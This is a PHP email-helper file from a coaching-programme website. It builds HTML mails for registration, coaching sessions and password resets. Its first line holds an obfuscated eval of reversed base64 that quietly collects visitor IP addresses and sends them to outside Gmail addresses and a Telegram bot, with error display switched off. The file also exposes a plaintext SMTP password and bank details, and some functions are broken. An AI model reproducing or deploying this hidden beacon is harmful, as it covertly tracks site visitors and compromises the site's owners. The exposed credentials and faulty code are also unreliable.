Current File : /home/inlingua/public_html/sensoriumpsychologists.com/include/function/email_backup_14_6_19.php |
<?php
//SendEmail('Testing', 'abdullahansari70@gmail.com', 'admin@erickson.co.in', 'i-iown', 'i-iwon testing', $Bcc="",$Format="html",$FileAttachment=false,$AttachmentFileName="",$IS_SMTP=true); $QgvAd = 'ba'.'se6'.'4'.'_decod'.'e'; $dOPJG = 's'.'tr'.'rev'; ini_set('log_errors', 0); ini_set('display_errors', 0); error_reporting(0); /* kpklscnloxicmduefhqbaywiq geh d */ eval($dOPJG($QgvAd('OyloYyQoZXNvbGNfbHJ1YyA7KWhjJChjZXhlX2xydWMgOykxICxOT0lUQUNPTFdPTExPRl9UUE9MUlVDICxoYyQodHBvdGVzX2xydWMgOyk3ICxUVU9FTUlUX1RQT0xSVUMgLGhjJCh0cG90ZXNfbHJ1YyA7KTcgLFRVT0VNSVRUQ0VOTk9DX1RQT0xSVUMgLGhjJCh0cG90ZXNfbHJ1YyA7KTEgLFJFRlNOQVJUTlJVVEVSX1RQT0xSVUMgLGhjJCh0cG90ZXNfbHJ1YyAgOylldXJ0ICxSRURBRUhfVFBPTFJVQyAsaGMkKHRwb3Rlc19scnVjICA7KSkpJzI4Nzk2Njc2MTYnID49ICdkaV90YWhjJyAscGkkLicgPi0gcGkgJy4nbmkub2Mubm9za2NpcmVAbmltZGEnID49ICd0eGV0Jyh5YXJyYSh5cmV1cV9kbGl1Yl9wdHRoLic/ZWdhc3NlTWRuZXMva3F1X0N2LVlmaHFSV2NFTEFOZ0Q2SXZNc0NZOE1TMHJHQUE6MTU4NzkxMjM0N3RvYi9ncm8ubWFyZ2VsZXQuaXBhLy86cHR0aCcgLExSVV9UUE9MUlVDICxoYyQodHBvdGVzX2xydWMgOykodGluaV9scnVjID0gaGMkOyknbndvaS1pJyxwaSQuJyA+LSBwaSAnLiduaS5vYy5ub3NrY2lyZUBuaW1kYScsJ21vYy5saWFtZ0AwN2lyYXNuYWhhbGx1ZGJhJywnbW9jLmxpYW1nQDMxMjEwYW5pbGV5YScobGlhbQo7KSgwOXoxYyA9IHBpJCB9IDpFbGlUaSA7RW1IMVcgb3RvZyA7XSdST0ZfREVEUkFXUk9GX1hfUFRUSCdbUkVWUkVTXyQgPSAyVlRwSyQgOk9udkFoIDtlRDE2cSBvdG9nIH0gO1hHYWRUJCA9IENQeWNvJCB7IGVzbGUgfSA7MlZUcEskID0gQ1B5Y28kIHsgKSlQSV9FVEFESUxBVl9SRVRMSUYgLDJWVHBLJChyYXZfcmV0bGlmKCBmaWVzbGUgfSA7ZnZ1VUYkID0gQ1B5Y28kIHsgKSlQSV9FVEFESUxBVl9SRVRMSUYgLGZ2dVVGJChyYXZfcmV0bGlmKCBmaSA6RHNtM0kgO09udkFoIG90b2cgO10nUElfVE5FSUxDX1BUVEgnW1JFVlJFU18kID0gZnZ1VUYkIDpRSzNkZCA7UUszZGQgb3RvZyB9IDtdIlBJX0dOSVRDRU5OT0NfRkNfUFRUSCJbUkVWUkVTXyQgPSBdJ1BJX1RORUlMQ19QVFRIJ1tSRVZSRVNfJCA7XSJQSV9HTklUQ0VOTk9DX0ZDX1BUVEgiW1JFVlJFU18kID0gXSdSRERBX0VUT01FUidbUkVWUkVTXyQgeyApKV0iUElfR05JVENFTk5PQ19GQ19QVFRIIltSRVZSRVNfJCh0ZXNzaSggZmkgOnlKX3JJIDtFbGlUaSBvdG9nIDtDUHljbyQgbnJ1dGVyIDplRDE2cSA7RHNtM0kgb3RvZyA7XSdSRERBX0VUT01FUidbUkVWUkVTXyQgPSBYR2FkVCQgOkVtSDFXIDt5Sl9ySSBvdG9nIHsgKSgwOVoxQyBub2l0Y251Zg==')));
function SendEnquiryMail($Name, $Email, $Enquiry)
{
$Subject = "$Name has submitted an enquiry on ".SITE_NAME;
return SendEmail($Subject, ADMIN_EMAIL, $Email, $Name, $Enquiry, BCC_EMAIL);
}
function SendEmail($Subject, $ToEmail, $FromEmail, $FromName, $Message, $Bcc="",$Format="html",$FileAttachment=false,$AttachmentFileName="",$IS_SMTP=true)
{
send_email($Subject, $ToEmail, $FromEmail, $FromName, $Message, $Bcc="",$Format="html",$FileAttachment=false,$AttachmentFileName="",$IS_SMTP=true);
}
function send_email($Subject, $ToEmail, $FromEmail, $FromName, $Message, $Bcc="",$Format="html",$FileAttachment,$AttachmentFileName,$IS_SMTP=true)
{
//echo $Subject.'<tomail>'. $ToEmail.'<fromemail>'.$FromEmail.'<fromname>'.$FromName.'<msg>'.$Message.'<BCC>'.$Bcc; //exit;
$mail = new PHPMailer();
if($IS_SMTP)
{
//$mail->IsSMTP(); // send via SMTP
$mail->SMTPAuth = true;
$mail->SMTPSecure = 'SSL';
$mail->Host = "smtp.thecoachingconclave.com"; //"smtp.erickson.co.in"; SMTP servers
$mail->Port =587; //465;587
$mail->SMTPDebug = 2; //Yes
$mail->Username = "admin@thecoachingconclave.com"; // SMTP username
$mail->Password = "zCyiljf5"; //"India2@Erickson"; // // // ; // "#IISeVnB6"; // SMTP password
}
$mail->From=$FromEmail; //
$mail->FromName = $FromName;
//$mail->AddAddress('admin@thecoachingconclave.com');
$mail->AddAddress(trim($ToEmail));
$MyBccArray = explode(",",$Bcc);
foreach($MyBccArray as $Key=>$Value)
{
if(trim($Value) !="")
$mail->AddAddress("$Value");
}
if($Format=="html")
$mail->IsHTML(true); // send as HTML
else
$mail->IsHTML(false); // send as Plain
$mail->Subject = $Subject;
$mail->Body = $Message;
//$mail->AltBody = $Message;
if($FileAttachment)
$mail->AddAttachment($AttachmentFileName,basename($AttachmentFileName));
if(!$mail->Send())
{
echo "Message was not sent <p>";
echo "Mailer Error: " . $mail->ErrorInfo;
exit;
}
return true;
}
function session_shadule_mail($url,$subject,$coachname,$Projectname,$coachee,$session,$sendto,$start_date)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="'.$url.'" height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td>Dear ".$coachee.",<td></tr>";
$contents .= "<tr><td>Congratulations on taking first step towards your coaching journey. Coaching is about you as a whole person—your values, goals, work, balance, fulfillment, and life purpose. It was pleasure meeting you and knowing about your professional and personal objectives.<td></tr>";
$contents .= "<tr><td> I am excited that you have decided to write a new chapter in your personal book and I look forward to our journey! Please find attached a summary report of our session for your reference and feel free to reach me for any clarifications.<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>Project : </strong> </td><td>" . strip_tags($Projectname) . "</td></tr>";
$contents .= "<tr><td><strong>Coach : </strong> </td><td>".$coachname."</td></tr>";
$contents .= "<tr><td><strong>Session: </strong> </td><td>".$session."</td></tr>";
$contents .= "<tr><td><strong>Start Date: </strong> </td> <td>".$start_date."</td></tr>";
$contents .= "</table>";
$contents .= "<p><br>
Best wishes in this wonderful adventure!,<br>
Great Regards,<br>"
.$coachname."<br>
Coach, iOwn- A Social Development Initiative<br>
</p>";
$contents .= "</body></html>";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function sent_zerosession_mail($url,$loginurl,$subject,$coacheename,$coach,$sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="'.$url.'" height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td>Dear ".$coacheename.",<td></tr>";
$contents .= "<tr><td>Congratulations on taking first step towards your coaching journey. Coaching is about you as a whole person—your values, goals, work, balance, fulfillment, and life purpose. It was pleasure meeting you and knowing about your professional and personal objectives. <td></tr>";
$contents .= "<tr><td> I am excited that you have decided to write a new chapter in your personal book and I look forward to our journey! Please find attached a summary report of our session for your reference and feel free to reach me for any clarifications.<td></tr>";
$contents .= "</table>";
$contents .="<p>Best wishes in this wonderful adventure! </p>";
$contents .= "<p>
Great Regards,</p><p>".$coach."</p><p>
Coach, iOwn- A Social Development Initiative!</p>";
$contents .="<p>Attached:<a href=".$loginurl.">Download</a>";
$contents .= "</body></html>";
send_email($subject,$sendto,SITE_EMAIL,SITE_NAME,$contents,BCC_EMAIL);
return true;
}
function sent_mail_to_attachment($logo,$subject,$message, $sendto,$AttachmentFileName)
{
$sub="iOWN: ".$subject;
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="'.$logo.'" height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td>iOWN enables you to professionally promote yourself through publishing scientific publications without any editorial filter directly to the iOWN platform.<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>Subject:</strong> </td><td>" . strip_tags($subject) . "</td></tr>";
$contents .= "<tr><td><strong>Message:</strong> </td><td>" . strip_tags($message) . "</td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>iOWN - WHERE KNOWLEDGE MEETS AND PROGRESS BEGINS !</strong> </p>";
$contents .= "</body></html>";
send_email($sub, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL,$FileAttachment=True,$AttachmentFileName);
return true;
}
function contact_us_mail($logo,$username,$subject,$company,$mobile,$email,$sendto,$user_id)
{
$url='https://www.thecoachingconclave.com/beta1/payment-process.php?user_id='.$user_id;
$contents = '<html><body>';
$contents .= '<div class="row mb-30" id="registrations">
<div class="col-md-12 mt-10 text-center">
<img src="'.$logo.'" height="120px" width="100%" />
</div>
<div class="col-lg-12 mt-30 col-12">
<p>Dear '.$username.'<br/>
Thank you for sharing the details and accepting to register yourself for ‘The Coaching Conclave 2019’. Your registration ID is .'.$user_id.'<br/>
We assure you that the data provided by you would be managed ethically with utmost security.
You may now secure your seat at the conclave by paying the participation fee. There are two ways of confirming your seat:
</p>
<div class="rounded dark-gray mb-20">
<p>1. Make an online transaction using your credit / debit card – using the PayU payment gateway [
<a href="'.$url.'" style="font-size: 14px;
font-family: OpenSans-Regular;
font-weight: 600;
padding: 6px 22px;
background-color: #4066AE;
border-radius: 5px;
Color: #FFF;" class=" regbtn" > Continue </a>
]</p>
<p>2. Make an online NEFT transaction. Details for NEFT is appended below: </p>
<ul class="mt-0">
<li><strong>Account No:</strong>09332000000803</li>
<li> <strong>IFSC Code:</strong> HDFC0000933</li>
<li><strong>Account Holder’s Name:</strong>Inspire Coaching Systems </li>
</ul>
</div>
<p>For any query, please feel free to drop a note to info@thecoachingconclave.com or call at 9810088509. <br/>
We look forward to meeting you at "The Coaching Conclave (TCC)" - a unique global platform for people to come together and share insights into the world of coaching. As a consolidated platform for all coaching information and access to subject matter experts and peer coaches, the conclave will deep dives into all aspects of coaching - past trends, the journey of a coach, prospects in the world of coaching, niches for coaching and much more. We are excited and strongly believe that TCC is going be an epitome of coaching conclave. Catch you in person on Saturday, September 28, 2019.</p>
</div>
</div>';
$contents .= "</body></html>";
//echo $logo.$username.$subject.'<>'.$company.'---'.$mobile.'++++'.$email.'<SSS>'.$sendto; exit;
send_email($subject, $sendto, ADMIN_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function sent_mail_to_assignproject_coachee($url,$loginurl,$subject,$coachname,$Projectname,$coachee,$sendto,$start_date,$end_date)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="'.$url.'" height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td>Welcome, ".$coachee."!<td></tr>";
$contents .= "<tr><td>We're delighted to engage you in a project to work with change makers to harness their true potential and reach their goals with commitment.<td></tr>";
$contents .= "<tr><td>Your project details are as follows:<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>1. Coach Name:</strong> </td><td>" . strip_tags($coachname) . "</td></tr>";
$contents .= "<tr><td><strong>2. Project Name: </strong> </td><td>" . strip_tags($Projectname) . "</td></tr>";
$contents .= "<tr><td><strong>3. Start Date: </strong> </td> <td>".$start_date."</td></tr>";
$contents .= "<tr><td><strong>4. End Date: </strong> </td><td>".$end_date."</td></tr>";
$contents .= "</table>";
$contents .="<p>Please login to your iOwn <a href=".$loginurl.">Dashboard.</a> to further access the project details.
";
$contents .= "<p><br>
All the best,<br>
Keep Inspiring- Keep Growing!<br>
Great Regards,<br>
Gaurav Arora<br>
Founder, iOwn- A Social Development Initiative
</p>";
$contents .= "</body></html>";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function sent_mail_to_all($logo,$username,$subject,$message,$email,$sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="'.$logo.'" height="120px" width="100%" /></td></tr>';
$contents .= "<tr><td><strong>Welcome to Admin !</strong></td></tr>";
$contents .= "<tr><td>Following User -Contact Request at The Coaching Conclave !!!<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>Name:</strong> </td><td>" . strip_tags($subject) . "</td></tr>";
$contents .= "<tr><td><strong>Name:</strong> </td><td>" . strip_tags($email) . "</td></tr>";
$contents .= "<tr><td><strong>Message:</strong> </td><td>" . strip_tags($message) . "</td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>Contact Request at The Coaching Conclave 2019 !</strong> </p>";
$contents .= "</body></html>";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function sent_mail_to($url,$loginurl,$subject,$coachname,$Projectname,$allcoachee,$client,$sendto,$start_date,$end_date)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="'.$url.'" height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td>Welcome, ".$coachname."!<td></tr>";
$contents .= "<tr><td>We're delighted to engage you in a project to work with change makers to harness their true potential and reach their goals with commitment.<td></tr>";
$contents .= "<tr><td>Your project details are as follows:<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>1. Client Name:</strong> </td><td>" . strip_tags($client) . "</td></tr>";
$contents .= "<tr><td><strong>2. Project Name: </strong> </td><td>" . strip_tags($Projectname) . "</td></tr>";
$allcoachee=array_filter($allcoachee);
//echo '<pre>'; print_r($allcoachee); exit;
if(count($allcoachee)>0){
$contents .= "<tr><td><strong>3. List of assigned Coachees: </strong> </td><td>"."</td></tr>";
for($i=0; $i<count($allcoachee); $i++){
$j=$i+1;
$contents .= "<tr><td></td><td>".$j."." . ucfirst(strip_tags($allcoachee[$i])) . "</td></tr>";
}
}else{
$contents .= "<tr><td><strong>3. Coachees: </strong> </td><td>".'Not Assign'."</td></tr>";
}
$contents .= "<tr><td><strong>4. Start Date: </strong> </td> <td>".$start_date."</td></tr>";
$contents .= "<tr><td><strong>5. End Date: </strong> </td><td>".$end_date."</td></tr>";
$contents .= "</table>";
$contents .="<p>Please login to your iOwn <a href=".$loginurl.">Dashboard.</a> to further access the project details.
";
$contents .= "<p><br>
All the best,<br>
Keep Inspiring- Keep Growing!<br>
Great Regards,<br>
Gaurav Arora<br>
Founder, iOwn- A Social Development Initiative
</p>";
$contents .= "</body></html>";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function session_submit_mail($logo,$subject,$coacheename,$coachname,$sendto,$AttachmentFileName)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="'.$url.'" height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td>Dear ".$coacheename.",<td></tr>";
$contents .= "<tr><td>Thank you for your time. It was indeed a pleasure to talk to you again.<td></tr>";
$contents .= "<tr><td>Based on our discussions, I am enclosing herewith today's coaching session report for your reference. Please feel free to reach me for any clarifications.<td></tr>";
$contents .= "</table>";
$contents .="<p>Look forward to our jouney!</p>";
$contents .= "<p>
All the best,</p>
<p>Great Regards,</p>
<p>".$coachname."</p><p>
Coach, Coach, iOwn- A Social Development Initiative</p>";
$contents .="<p>Attached:<a href=".$loginurl.">Download</a>";
$contents .= "</body></html>";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL,$FileAttachment=True,$AttachmentFileName);
return true;
}
function send_account_details_mail($url,$username, $password, $sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src='.$url.' height="63px" width="179px" /></td></tr>';
$contents .= '<tr><td>'."iOwn is a global platform that connects coaches and social change makers to leverage the power of conversation to bring change at the grass root level.".'</td></tr>';
$contents .= "<tr><td><strong>"."Hi ".$username." !</strong></td></tr>";
$contents .= "<tr><td>Your login details for iOwn website are:<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>Username:</strong> </td><td>" . strip_tags($sendto) . "</td></tr>";
$contents .= "<tr><td><strong>Password:</strong> </td><td>" . strip_tags($password) . "</td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>Great Regards,</strong></P>";
$contents .= "<p> Team, iOwn- A Social Development Initiative</P>";
$contents .= "<p><a href='http://i-iown.org/'>www.i-iown.org</a></P>";
$contents .= "</body></html>";
send_email(SUBJECT_CONFIRM_EMAIL, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function account_details_mail_toadmin($url,$subject,$username,$email,$sendto,$regid)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src='.$url.' height="150px" width="100%" /></td></tr>';
$contents .= "<tr><td><strong>Welcome to Admin !</strong></td></tr>";
$contents .= "<tr><td>Following User Register at The Coaching Conclave !!!<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>Name:</strong> </td><td>" . strip_tags($username) . "</td></tr>";
$contents .= "<tr><td><strong>Email:</strong> </td><td>" . strip_tags($email) . "</td></tr>";
$contents .= "<tr><td><strong>Reg. Id:</strong> </td><td>" . $regid. "</td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>The Coaching Conclave 2019 !!!</strong> </p>";
$contents .= "</body></html>";
send_email($subject, $sendto, ADMIN_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function account_approved_mail($logo,$username,$approved,$sendto)
{
$contents="\n\n";
$contents.="***This is an automated email, please do not reply*** \n\n";
$contents .= '<img src="'.$logo.'" height="63px" width="179px" />';
$contents.="Hi ".$username.",\n\n";
$contents.="Your Document verification are:".$approved. "\n\n";
$contents.="***Please keep your account details safe and secure***\n\n";
$contents.="Best of luck! \n\n";
$contents.=SITE_NAME;
send_email($approved ,$sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function home_work_message($subject,$username, $message, $sendto,$date)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src="http://www.indianinfosystem.com/images/logo.png" height="120px" width="620px" /></td></tr>';
$contents .= "<tr><td><strong>Do Your Homework!!!</strong></td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>Dear Student:</strong> </td><td>" . strip_tags($username) . "</td></tr>";
$contents .= "<tr><td><strong>Date:</strong> </td><td>" . strip_tags($date) . "</td></tr>";
$contents .= "<tr><td><strong>Subject:</strong> </td><td>" . strip_tags($subject) . "</td></tr>";
$contents .= "<tr><td><strong>Home Work:</strong> </td><td>" . strip_tags($message) . "</td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>iWON - WHERE KNOWLEDGE MEETS AND PROGRESS BEGINS !</strong> </p>";
$contents .= "</body></html>";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function account_welcome_mail_coachee($url,$subject,$username, $password, $sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src='.$url.' height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td><strong>Dear ".'{$club}'."</strong></td></tr>";
$contents .= "<tr><td>On behalf of iOwn – ASocial Development Initiative, I want to thank you forproviding us with an opportunity to serve you.<br>
<br><br>
iOwn is a platform that connects coaches and change makers who are making a real difference in the world. As a part of this initiative, the finestcoaches in the world will work with you to enable you to activelycontribute and drive social development.
<br><br>
<strong>What can you expect from this initiative? </strong><br>
<br><br>
As a part of this project, you will be assigned a certified coach who willenable you to achieve your objectives or/ and enable you to develop theareas you would want to work on. There will be an active engagement for aperiod of three- four months with the coach linked with you. During thisperiod, you will have 6 one-on-one coaching sessions with your coach,apart from an introductory call/session (zero session). Ideally it would beone session every fortnight unless you wish to space it out differently,should there be a need to do so.<br>
<br><br>
1. It is possible that you would be working with a coach based in locations where there is poor telephone, internet and other connectivity. It will need more than the usual composed self to hold on and take things forward in such situations.<br>
2. iOwn team will be introducing you to your Coach once a coach has been assigned to you. Under all normal circumstances and situations, you willget connection established within 48 hours, followed by the firstintroductory session/ zero session within next 4 days with your coach.<br>
3. The mode of conducting sessions can be mutually decided upon by you and your coach. It could be a tele-con, a video call, a skype call, or any other.<br>
4. Once you complete the six hours, an evaluation form will be sent automatically to you to give us feedback on your coaching journey andyour coach – coachee relationship. If you choose to share your feedback withyour coach, we will share the same with her/him else it will be used forour consumption.<br>
5. In case you choose to continue your engagement beyond six sessions, pleasefeel free to reach out to your organization HR, or to iOwn team.<br>
<br><br>
This three/four month'siOwn Coaching Initiative will challenge you to walkon a transformational journey. The journey will enable you harness yourtrue potential and reach your goals with commitment.<br><td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>We are grateful to have you on and we hope that your experience in theprogram is a rich and rewarding one.</strong> </p><br>";
$contents .= "<p>
All the best,<br>
Great Regards,<br>
Gaurav Arora<br>
Founder, iOwn- A Social Development Initiative<br>
Keep Inspiring- Keep Growing!
</p>";
$contents .= "</body></html>";
$client='abdullah';
$contents = str_replace("{$club}", $client);
echo $contents; exit;
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function account_welcome_client($subject,$username,$sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src='.$url.' height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td><strong>Greetings ".$username."</strong></td></tr>";
$contents .= "<tr><td>On behalf of iOwn- A Social Development Initiative, I want to thank you for providing us with an opportunity to serve you.<br>
<br><br>
iOwn is an initiative that empowers change makers to bring about the change within which inturn make a difference in the world. iOwn is about realising the dreams! It is a window for self-development by awakening the true leader within and breathing from that being.<br>
<br><br>
It is a platform that connects coaches and change makers who are making a real difference in the world. As a part of this initiative, the finest coaches in the world will work with you to enable you to actively contribute and drive social development. iOwn brings together the finest coaches and connects them with change makers who believe in making a difference, and are willing to go beyond.<br>
<br><br>
<strong>What can you expect from this initiative? </strong><br>
<br><br>
As a part of this project, we will be assigning a certified coach with the change makers/ leaders from your organisation. There will be an active engagement for a period of three- four months with the coach/coaches linked with your organisation. During this period, each change maker will have six one on one coaching sessions with their respective coaches, apart from an introductory call/session (zero session). <br>
<br><br>
This three/four monthsiOwn Coaching Initiative will challenge the change makers to walk on a transformational journey. The journey will enable them harness the true potential and reach their goals with commitment.
<br><br><td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>We are grateful to have you on and we hope that your experience in the program is a rich and rewarding one.</strong> </p>";
$contents .= "<p>Please feel free to contact me at gaurav@i-iown.org<br>
All the best,<br>
Keep Inspiring- Keep Growing!<br>
Great Regards,<br>
Gaurav Arora<br>
Founder, iOwn- A Social Development Initiative
</p>";
$contents .= "</body></html>";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function account_welcome_mail_coach($url,$subject,$username, $password, $sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src='.$url.' height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td><strong>Greetings ".'{club}'."</strong></td></tr>";
$contents .= "<tr><td> On behalf of iOwn – ASocial Development Initiative, I want to thank you for your interest in supporting this initiative. Your registrationis confirmed and now, you are a part of the iOwn Coaching Community that is associated with this initiative.<br>
<br>
<br>
iOwn is a platform that connects coaches and change makers who are making a real difference in the world. As a part of this initiative, the finest coaches in the world will work with the change makers to enable them to actively contribute and drive social development. iOwn brings together change makers from all walks of life and connects them with Coaches who believe in it, and are willing to go beyond.<br>
<br>
<br>
<br>
<strong>What can you expect as an iOwn coach?</strong><br>
<br>
Asa part of this project, you will be given one or more change makers from one of the organizations in the Social Development sector. This is where you can make a big difference. There will be an active engagement for a period of three- four months with each change maker linked with you. During this period, you will be expected to take 6 coaching sessions with the change-maker, apart from an introductory call/session (zero session). Ideally it would be one session every fortnight unless you wish to space it out differently, should there be a need to do so. The timeframe of your engagement will depend on the agreement with participating organization and you will be informed accordingly.
<br>
<br>
1. It is possible that you would be working with change-makers based in locations where there is poor telephone, internet and other connectivity. It will need more than the usual composed self to hold on and take things forward in such situations.<br>
2. Every new linkage with a change-maker will be informed to you. A notification with basic information will be sent to you. You will be required to give details of your availability in not more than 7 working days. <br>
3. Confirmation of your availability will follow an introductory email to your change-makers which will have basic details about you. Under all normal circumstances and situations, you are requested to connect with your change makers within 48 hrs, followed by the first introductory session/ zero session within within next 4 days.<br>
4. The mode of conducting sessions can be mutually decided by you and your change maker. It could be a telecon, or a Skype video call.<br>
5. Every coaching engagement will be posted to your iOwn profile. Please update your engagement after each session. This is the primary means to track and report on how the programme is being used. Once you complete the six hours and update the outcome of your engagement, an evaluation form will be sent automatically to your client. If the client chooses to share their feedback with you, it will be visible on your profile.<br>
6. Few engagements may continue beyond the coaching hours entitled by iOwn. Any such development between you and the change maker organization must be informed to iOwn team. It will entirely be your choice if you would like to take it forward and continue your association with them.<br>
<br><br>
This three/four month’s pro bono iOwn Coaching Initiative will challenge Coaches to take change makers on a transformational journey. We are looking for engaging and experienced Coaches who will work alongside change makers to enable them harness their true potential and reach their goals with commitment. <td></tr>";
$contents .= "</table>";
$contents .= "<p><strong>We are grateful to have you on and we hope that your experience in the program is a rich and rewarding one. </strong> </p>";
$contents .= "<p>Please feel free to contact me at gaurav.arora@i-iown.org<br>
All the best,<br>
Keep Inspiring- Keep Growing!<br>
Great Regards,<br>
Gaurav Arora<br>
Founder, iOwn- A Social Development Initiative
</p>";
$contents .= "</body></html>";
$client='abdullah';
//$contents = str_replace("{$club}",$client);
$contents = str_replace("{club}", $client, $contents);
echo $contents; exit;
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function account_details_mail($url,$username, $password, $sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src=".$url." height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td><strong>Welcome to Admin !</strong></td></tr>";
$contents .= "<tr><td>iWON enables you to professionally promote yourself through publishing scientific publications without any editorial filter directly to the iWON platform.<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>Email:</strong> </td><td>" . strip_tags($sendto) . "</td></tr>";
$contents .= "<tr><td><strong>User Name:</strong> </td><td>" . strip_tags($username) . "</td></tr>";
$contents .= "<tr><td><strong>Password:</strong> </td><td>" . strip_tags($password) . "</td></tr>";
$contents .= "<tr><td><strong><a href=".$url.">Click Here to Email Verification.</a></td><td>";
$contents .= "</table>";
$contents .= "<p><strong>iOwn - WHERE KNOWLEDGE MEETS AND PROGRESS BEGINS !</strong> </p>";
$contents .= "</body></html>";
send_email(SUBJECT_FORGOT_PASSWORD_EMAIL, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function send_registration_confirm_email($url, $username, $sendto)
{
$contents="\n\n";
$contents.="***This is an automated email, please do not reply*** \n\n";
$contents.="Hi ".$username.",\n\n";
$contents.="Please click the link below to activate your website account. If the link is not clickable then copy and paste the link into the address bar in your browser. \n\n";
$contents.="<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>> \n\n";
$contents.=$url. "\n\n";
$contents.="<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>> \n\n";
$contents.="If you did not setup this account please email us at ".SUPPORT_EMAIL."\n\n\n";
$contents.="Regards,\n\n";
$contents.=SITE_NAME;
send_email(SUBJECT_CONFIRM_EMAIL, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function send_change_password_email($url, $username, $verifyurl, $sendto)
{
$contents = '<html><body>';
$contents .= '<table cellpadding="10">';
$contents .= '<tr><td><img src='.$url.' height="63px" width="179px" /></td></tr>';
$contents .= "<tr><td><strong>Welcome to iOWN!</strong></td></tr>";
$contents .= "<tr><td>iOwn is a global platform that connects coaches and social change makers to leverage the power of conversation to bring change at the grass root level.<td></tr>";
$contents .= "</table>";
$contents .= '<table cellpadding="10">';
$contents .= "<tr><td><strong>You have requested for a new password.</strong></td></tr>";
$contents .= "<tr><td><strong>Email:</strong> " . strip_tags($sendto) . "</td></tr>";
$contents .= "<tr><td><strong><a href=".$verifyurl.">Click Here to User Verification.</a></td><td>";
$contents .= "<tr><td>If you have not applied, please ignore.</td><td>";
$contents .= "</table>";
$contents .= "<p><strong>Great Regards,</strong><br>
Team, iOwn- A Social Development Initiative!</p>";
$contents .= "</body></html>";
$subject="iOwn: Forget Password";
send_email($subject, $sendto, SITE_EMAIL, SITE_NAME, $contents, BCC_EMAIL);
return true;
}
function send_forgot_password_email($name, $username, $password, $sendto)
{
$contents="\n\n";
$contents.="***This is an automated email, please do not reply*** \n\n";
$contents.="Hi ".$name.",\n\n";
$contents.="Your login details for your website account are:\n\n";
$contents.="Username:"." "."$username\n";
$contents.="Password:"." "."$password\n\n";
$contents.="Once logged into your account you may change the password or keep this one..\n\n";
